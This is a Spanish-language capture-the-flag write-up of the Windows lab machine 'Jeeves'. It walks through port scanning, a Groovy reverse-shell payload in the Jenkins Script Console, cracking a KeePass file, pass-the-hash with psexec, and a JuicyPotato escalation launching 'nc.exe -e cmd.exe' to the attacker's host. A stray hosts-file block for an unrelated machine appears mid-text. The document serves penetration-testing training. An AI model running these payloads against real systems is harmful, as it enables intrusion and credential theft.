Jeeves
Skills
- Jenkins Exploitation (Groovy Script Console)
- JuicyPotato (SeImpersonatePrivilege)
- PassTheHash (Psexec)
- Breaking KeePass
- Alternate Data Streams (ADS)
Certificaciones
- eJPT
- eWPT
- OSCP
- eCPPTv3
Descripción
Jeeves
es una máquina medium windows
, descubrimos un jenkins
fuzzeando el puerto 50000
, mediante la script console
nos mandamos una shell
a nuestro equipo. Una vez dentro hay dos formas para escalar privilegios
una haciendo pass de hash
con un hash obtenido en un archivo .kdbx
de keepas
y la otra forma es con JuicyPotato
Reconocimiento
Se comprueba que la máquina
está activa
y se determina su sistema operativo
, el ttl
de las máquinas windows
suele ser 128
, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
# ping 10.129.194.239
PING 10.129.194.239 (10.129.194.239) 56(84) bytes of data.
64 bytes from 10.129.194.239: icmp_seq=1 ttl=127 time=65.6 ms
^C
--- 10.129.194.239 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 65.591/65.591/65.591/0.000 ms
Nmap
Se va a realizar un escaneo de todos los puertos
abiertos en el protocolo TCP
a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# sudo nmap -p- --open --min-rate 5000 -sS -Pn -n -v 10.129.194.239 -oG openPorts
[sudo] password for justice-reaper:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-18 11:20 CEST
Initiating SYN Stealth Scan at 11:20
Scanning 10.129.194.239 [65535 ports]
Discovered open port 80/tcp on 10.129.194.239
Discovered open port 445/tcp on 10.129.194.239
Discovered open port 135/tcp on 10.129.194.239
Discovered open port 50000/tcp on 10.129.194.239
Completed SYN Stealth Scan at 11:21, 26.39s elapsed (65535 total ports)
Nmap scan report for 10.129.194.239
Host is up (0.068s latency).
Not shown: 65531 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
50000/tcp open ibm-db2
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.46 seconds
Raw packets sent: 131085 (5.768MB) | Rcvd: 72 (12.229KB)
Se procede a realizar un análisis de detección
de servicios
y la identificación
de versiones
utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# nmap -sCV -p80,135,445,50000 10.129.194.239 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-18 11:21 CEST
Nmap scan report for 10.129.194.239
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Ask Jeeves
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 4h59m59s, deviation: 0s, median: 4h59m59s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2024-07-18T14:21:44
|_ start_date: 2024-07-18T14:16:42
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.56 seconds
Nmap detecta
el dominio devzat.htb
, así qu elo añadimos al /etc/hosts
1
2
3
4
5
6
7
8
127.0.0.1 localhost
127.0.1.1 Kali-Linux
10.129.136.15 devzat.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Web Enumeration
Al acceder al servicio nos encontramos con lo siguiente
Por el puerto 50000 nos encontramos el siguiente servicio web
Fuzzeo
rutas por el puerto 5000
y he encontrado una interesante
1
2
3
4
5
6
7
8
9
10
11
12
13
# wfuzz -c -t 100 --hc 404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.129.194.239:50000/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.194.239:50000/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000041607: 302 0 L 0 W 0 Ch "askjeeves"
Si accedemos a /askjeeves
por el puerto 5000 vemos un jenkins
Intrusión
Al parecer en el jenkins
estamos logueados
como usuario administrador
, por lo tanto podemos crear un script
y mandarnos una shell
a nuestro equipo, para ellos pulsamos en Manager Jenkins
y luego en Script Console
Lo siguiente es ponernos en escucha
con netcat
por el puerto 4444
1
# nc -nlvp 4444
Pegamos este payload
y le damos a run
1
2
3
String host="10.10.16.16";
int port=4444;
String cmd="cmd";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Nos debería llegar esta consola
a nuestro equipo
1
2
3
4
5
6
7
8
9
# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.16.16] from (UNKNOWN) [10.129.194.239] 49677
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.
C:\Users\Administrator\.jenkins>whoami
whoami
jeeves\kohsuke
Privilege escalation (First Method)
Hay dos formas
para escalar privilegios
, la primera es con un archivo de base de datos .kdbx
de Keepass
. Lo que vamos a hacer es transferirnos
este archivo
a nuestra máquina
, para ello nos montamos un servidor smb
en nuestro equipo y copiamos
el archivo
1
# impacket-smbserver smbFolder $(pwd) -smb2support
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Users\kohsuke\Documents>dir
dir
Volume in drive C has no label.
Volume Serial Number is 71A1-6FA1
Directory of C:\Users\kohsuke\Documents
11/03/2017 11:18 PM <DIR> .
11/03/2017 11:18 PM <DIR> ..
09/18/2017 01:43 PM 2,846 CEH.kdbx
1 File(s) 2,846 bytes
2 Dir(s) 2,612,834,304 bytes free
C:\Users\kohsuke\Documents>copy CEH.kdbx \\10.10.16.16\smbFolder\CEH.kdbx
copy CEH.kdbx \\10.10.16.16\smbFolder\CEH.kdbx
1 file(s) copied.
Para ver el contenido del archivo nos vamos a descargar KeepassXC
https://keepass.info/download.html, le vamos a dar permisos de ejecución y vamos a cargar el archivo .kdbx
. Para abrir el archivo debemos ejecutar
el binario
y posteriormente en la parte superior izquierda pulsar en Database
y luego Open Database
Como tiene contraseña
vamos a usar keepas2john
y nos vamos a crear
un archivo
llamado hash
con el output
1
2
# keepass2john CEH.kdbx
CEH:$keepass$*2*6000*0*1af405cc00f979ddb9bb387c4594fcea2fd01a6a0757c000e1873f3c71941d3d*3869fe357ff2d7db1555cc668d1d606b1dfaf02b9dba2621cbe9ecb63c7a4091*393c97beafd8a820db9142a6a94f03f6*b73766b61e656351c3aca0282f1617511031f0156089b6c5647de4671972fcff*cb409dbc0fa660fcffa4f1cc89f728b68254db431a21ec33298b612fe647db48
Rompemos el hash
con john
y obtenemos la contraseña
1
2
3
4
5
6
7
8
9
10
11
12
13
# john -w:rockyou.txt hash
Created directory: /home/justice-reaper/.john
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 6000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
moonshine1 (CEH)
1g 0:00:00:20 DONE (2024-07-18 13:18) 0.04873g/s 2679p/s 2679c/s 2679C/s nick18..moonshine1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Con esta contraseña accedemos al archivo .kdbx
En Backup stuff
hay un hash NTLM
el cual podemos usar para hacer Pass the hash
, para profundizar en el tema recomiendo este blog
https://deephacking.tech/que-es-y-por-que-funciona-pass-the-hash-autenticacion-ntlm/#que-es-pass-the-hash
Como estamos en el sistema vamos a listar usuarios y ver a quien puede pertenecer
1
2
3
4
5
6
7
8
9
C:\Users\kohsuke\Documents>net user
net user
User accounts for \\JEEVES
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
kohsuke
The command completed successfully.
Validamos las credenciales por smb
y efectivamente es el hash del usuario Administrator
1
2
3
# crackmapexec smb 10.129.194.239 -u 'Administrator' -H 'e0fb1fb85756c24235ff238cbe81fe00'
SMB 10.129.194.239 445 JEEVES [*] Windows 10 Pro 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)
SMB 10.129.194.239 445 JEEVES [+] Jeeves\Administrator:e0fb1fb85756c24235ff238cbe81fe00 (Pwn3d!)
Con psexec
nos podemos conectar a la máquina víctima usando la técnica de Pass the hash
, la primera parte del hash llamado LT
la podemos omitir y se puede usar solamente la segunda parte llamada NT
(habría que dejar los :
, el input sería > :e0fb1fb85756c24235ff238cbe81fe00
)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# impacket-psexec WORKGROUP/Administrator@10.129.194.239 -hashes 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00'
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Requesting shares on 10.129.194.239.....
[*] Found writable share ADMIN$
[*] Uploading file XQQrIHWQ.exe
[*] Opening SVCManager on 10.129.194.239.....
[*] Creating service AtCI on 10.129.194.239.....
[*] Starting service AtCI.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
Cuando vamos al directorio de Administrator
a la parte del escritorio
e intentamos ver la flag
ocurre lo siguiente
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
C:\Users\Administrator\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is 71A1-6FA1
Directory of C:\Users\Administrator\Desktop
11/08/2017 10:05 AM <DIR> .
11/08/2017 10:05 AM <DIR> ..
12/24/2017 03:51 AM 36 hm.txt
11/08/2017 10:05 AM 797 Windows 10 Update Assistant.lnk
2 File(s) 833 bytes
2 Dir(s) 2,612,101,120 bytes free
C:\Users\Administrator\Desktop> type hm.txt
The flag is elsewhere. Look deeper.
Esto se debe a que ese archivo tiene un ADS
(Alternate Data Stream)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
C:\Users\Administrator\Desktop> dir /r /s
Volume in drive C has no label.
Volume Serial Number is 71A1-6FA1
Directory of C:\Users\Administrator\Desktop
11/08/2017 10:05 AM <DIR> .
11/08/2017 10:05 AM <DIR> ..
12/24/2017 03:51 AM 36 hm.txt
34 hm.txt:root.txt:$DATA
11/08/2017 10:05 AM 797 Windows 10 Update Assistant.lnk
2 File(s) 833 bytes
Total Files Listed:
2 File(s) 833 bytes
2 Dir(s) 2,612,101,120 bytes free
Para visualizar
este tipo de archivos
podemos usar
el comando more
1
2
C:\Users\Administrator\Desktop> more < hm.txt:root.txt
afbc5bd4b615a60648cec41c6ac92530
Privilege escalation (Second Method)
Listando permisos
de usuario
me encuentro con SeImpersonatePrivilege
, el cual me llama la atención. Si buscamos en Hacktricks
encontraremos un forma de escalar privilegios
con este permiso https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
C:\Users\Administrator\.jenkins>whoami /priv
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
Nos descargamos la última release de JuicyPotato
https://github.com/ohpe/juicy-potato. Después de descomprimir
los archivos y en el mismo directorio
que los binarios nos montamos un servidor smb
1
# impacket-smbserver smbFolder $(pwd) -smb2support
Desde la máquina víctima usando copy
obtenemos el binario
1
2
3
C:\Users\kohsuke\Desktop>copy \\10.10.16.16\smbFolder\JuicyPotato.exe .
copy \\10.10.16.16\smbFolder\JuicyPotato.exe .
1 file(s) copied.
Para transferirnos el netcat
debemos crear el servidor smb
dentro de la carpeta descomprimida y posteriormente transferirnos
el archivo con copy
1
2
3
C:\Users\kohsuke\Desktop>copy \\10.10.16.16\smbFolder\nc.exe .
copy \\10.10.16.16\smbFolder\nc.exe .
1 file(s) copied.
Nos ponemos en escucha con netcat
por el puerto 443
1
# nc -nlvp 443
Desde la máquina windows ejecutamos JuicyPotato
para mandarnos un shell
a nuestro equipo como nt authority\system
1
2
3
4
5
6
7
8
C:\Users\kohsuke\Desktop>JuicyPotato.exe -l 1337 -c "{08D9DFDF-C6F7-404A-A20F-66EEC0A609CD}" -p C:\Windows\System32\cmd.exe -a "/c C:\Users\kohsuke\Desktop\nc.exe -e cmd.exe 10.10.16.16 443" -t *
JuicyPotato.exe -l 1337 -c "{08D9DFDF-C6F7-404A-A20F-66EEC0A609CD}" -p C:\Windows\System32\cmd.exe -a "/c C:\Users\kohsuke\Desktop\nc.exe -e cmd.exe 10.10.16.16 443" -t *
Testing {08D9DFDF-C6F7-404A-A20F-66EEC0A609CD} 1337
......
[+] authresult 0
{08D9DFDF-C6F7-404A-A20F-66EEC0A609CD};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
Recibimos la shell
como usuario privilegiado
1
2
3
4
5
6
7
8
9
# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.16] from (UNKNOWN) [10.129.194.239] 49716
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system